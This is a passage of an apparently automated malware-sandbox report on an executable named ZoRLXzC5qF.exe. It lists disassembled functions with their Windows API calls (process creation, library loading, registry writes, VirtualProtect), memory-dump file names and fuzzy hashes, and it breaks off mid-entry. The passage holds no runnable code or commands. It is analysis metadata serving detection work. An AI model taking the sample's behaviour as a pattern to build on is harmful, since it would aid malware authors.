Instruction ID: 83f907d2df1d2810bbbe2cf052e9f9ea9028798b61a5f10ffece60f544324ce8
Opcode Fuzzy Hash: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction Fuzzy Hash: 44F0F4B0D1060EDBDB00DFA4D6497EFBBB4AB04309F00812AD941B6281D7B89248CBA9

Function 00401F03 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401F21
EnableWindow.USER32(00000000,00000000), ref: 00401F2C

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 220038190f5765e08acb68cab3f819293a66988b7b4b21bab0f24e91f41eee4f
Instruction ID: 14a8ef39102396d835bb54982d99b4aace68b6eedf0c4e81be07541ee7d8ceed
Opcode Fuzzy Hash: 220038190f5765e08acb68cab3f819293a66988b7b4b21bab0f24e91f41eee4f
Instruction Fuzzy Hash: FEE04F76908610DFE748EBA4AE499EEB3F4EF80365B20197FE001F11D1DBB94D00966D

Function 00405B5A Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction ID: 1d4bd4e17b1592c090cadeee614c80d4297d43de2f88d62204b9ca700bb873e4
Opcode Fuzzy Hash: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction Fuzzy Hash: C9E09AB4600219BFFB109B64AD06F7B767CE704604F408475BD15E6151D774A8158A78

Function 00401598 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 004015AC
ShowWindow.USER32(?), ref: 004015C1

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 0f5042c3400ff8d174245560ea6e81256fc6b3c7d69c517c03b76bd4f09c2680
Instruction ID: 71f073bf0609ebb53fb67f9a0a806094daae3e6e017a449e2b81a31607f58fde
Opcode Fuzzy Hash: 0f5042c3400ff8d174245560ea6e81256fc6b3c7d69c517c03b76bd4f09c2680
Instruction Fuzzy Hash: AFE04F32B10514ABCB18CFA8FED08AE73A6EB44321310053FD502B36A4C675AD409B18

Function 0040696B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
GetProcAddress.KERNEL32(00000000,?), ref: 00406998

Part of subcall function 004068FB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
Part of subcall function 004068FB: wsprintfW.USER32 ref: 0040694D
Part of subcall function 004068FB: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction ID: f16a4ad3e9102b165210d3f50f6adbe363033f5fe81171ed8a06a41b6d2757eb
Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction Fuzzy Hash: F1E08673504311AAD6105B759D0492772E89F89750302443EF986F2140DB38EC32A6AE

Function 00406067 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\ZoRLXzC5qF.exe,80000000,00000003), ref: 0040606B
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 0040608D

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Function 00405B25 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403545,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405B39

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 2532c664264170c07cbc731aa09703a23e3881c092aaf3b019fc47175ec23a7b
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 98C04C70604906DAD7505F219F087177960AB50741F158439A6C7F40A0DA74A455D92D

Function 6E9B2B98 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 6E9B2C57

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8492b8ef2c01c917b0cfd87c09755e117ebb5a1b4c9e2c5edc4a748b4b95b3a0
Instruction ID: 8dbb607cad776da92db10548c736eb5c9ce2ac1eccce29d5f8efc4e73e203b8c
Opcode Fuzzy Hash: 8492b8ef2c01c917b0cfd87c09755e117ebb5a1b4c9e2c5edc4a748b4b95b3a0
Instruction Fuzzy Hash: 27415CB1918604AFDF119FE4E985B9B37BDEF96358F208829E408DB150DB38D8818F91

Function 004016A0 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 004016BB

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 28dc5c50ebc12032345a7729cf35481b8c8bbd71f25d5d2fe63a1407a727cbb2
Instruction ID: b5cd7fb0f8cac405fb011e9cf8ea0a60cc8dc6b6af2237c550085c2a5a912803
Opcode Fuzzy Hash: 28dc5c50ebc12032345a7729cf35481b8c8bbd71f25d5d2fe63a1407a727cbb2
Instruction Fuzzy Hash: 1DF0903160812293CB1077B55F0ED9F26A49F8137CB21063FB112B21E1D6BCC902926E

Function 004028B6 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004028D4

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 0f8cdb930f0e9c051f1287ec62565a86da269e9ff4fc99f02ffc866b5b181b8c
Instruction ID: c79ba5cb2d88364bafa4f5c49a43b48020d8ed27846d342f9c81a2b2dcc73f01
Opcode Fuzzy Hash: 0f8cdb930f0e9c051f1287ec62565a86da269e9ff4fc99f02ffc866b5b181b8c
Instruction Fuzzy Hash: 9BE06D71904104ABDB00ABA5AE498FE73B9EB80355B20443FF101B04D4C77858109A2D

Function 00406412 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E7C,00000000,?,?), ref: 0040643B

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction ID: 173efcb61436e01de2ec3b268cd8b302251cd5bc368a703a1804e99dfb897165
Opcode Fuzzy Hash: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction Fuzzy Hash: 51E0BF72010109BFEF095F60DD4AD7B3A1DE708610B11852EF906D5051E6B5A9705675

Function 00406119 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034BD,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 0040612D

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 5447fabf40714e60d37a3b8d529c829a5aab84dab7567664cea5a9789522ebfd
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: DFE08C3221021ABBDF109E518C00EEB3B6CEB003A0F014432FD26E7050D630E86097A4

Function 004060EA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403507,00000000,00000000,0040332B,000000FF,00000004,00000000,00000000,00000000), ref: 004060FE

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: 2902185137110ca2ffdb2282e3c832ce644deeff7f1201e2b4f2572205eed693
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: D0E08C3221021AABCF109E508C01EEB3BACFF043A0F014432FD12EB042D230E9229BA4

Function 6E9B2A7F Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6E9B505C,00000004,00000040,6E9B504C), ref: 6E9B2A9D

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 53ea7b6608a95ca8622a4a9516cf6e25ff3e6b300b1a25d000c4d7df635adcd0
Instruction ID: 152062846ff2835d48e2f6b25a2d367e5f54351f7391d33a6741531c7e659219
Opcode Fuzzy Hash: 53ea7b6608a95ca8622a4a9516cf6e25ff3e6b300b1a25d000c4d7df635adcd0
Instruction Fuzzy Hash: 31F09BF0D0CA80EECB91CF68D88470B3BF2BF5A304B14452AE18CDA280E3348844DF91

Function 00402419 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 0040244A

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 979b3f2ec0bc23d324c76cc3db4c1f8da93b0e1d0eaca7bbe8bd823efade59bd
Instruction ID: 53345aa50f94a5dbc05c73a67e8aa0b188b477950ab0ef6c1fe412bbc790425e
Opcode Fuzzy Hash: 979b3f2ec0bc23d324c76cc3db4c1f8da93b0e1d0eaca7bbe8bd823efade59bd
Instruction Fuzzy Hash: E7E04F3180021AAADB00AFA0CE0ADAD3678AF00304F10493EF510BB0D1E7F889509759

Function 004063E4 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,00406472,?,?,?,?,Call,?,00000000), ref: 00406408

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction ID: 12ce3b422fe6a0da393528f22193a7488631f194d1dbc4d2354a9349d97d7052
Opcode Fuzzy Hash: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction Fuzzy Hash: 34D0123204020DBBEF115F90DD01FAB3B1DEB08310F018836FE06A4091D776D570A758

Function 004015C8 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015D3

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fc4ae7de1a988c572ae2e9f733057e11b5d74982a37415ce069d5c91d6d923cf
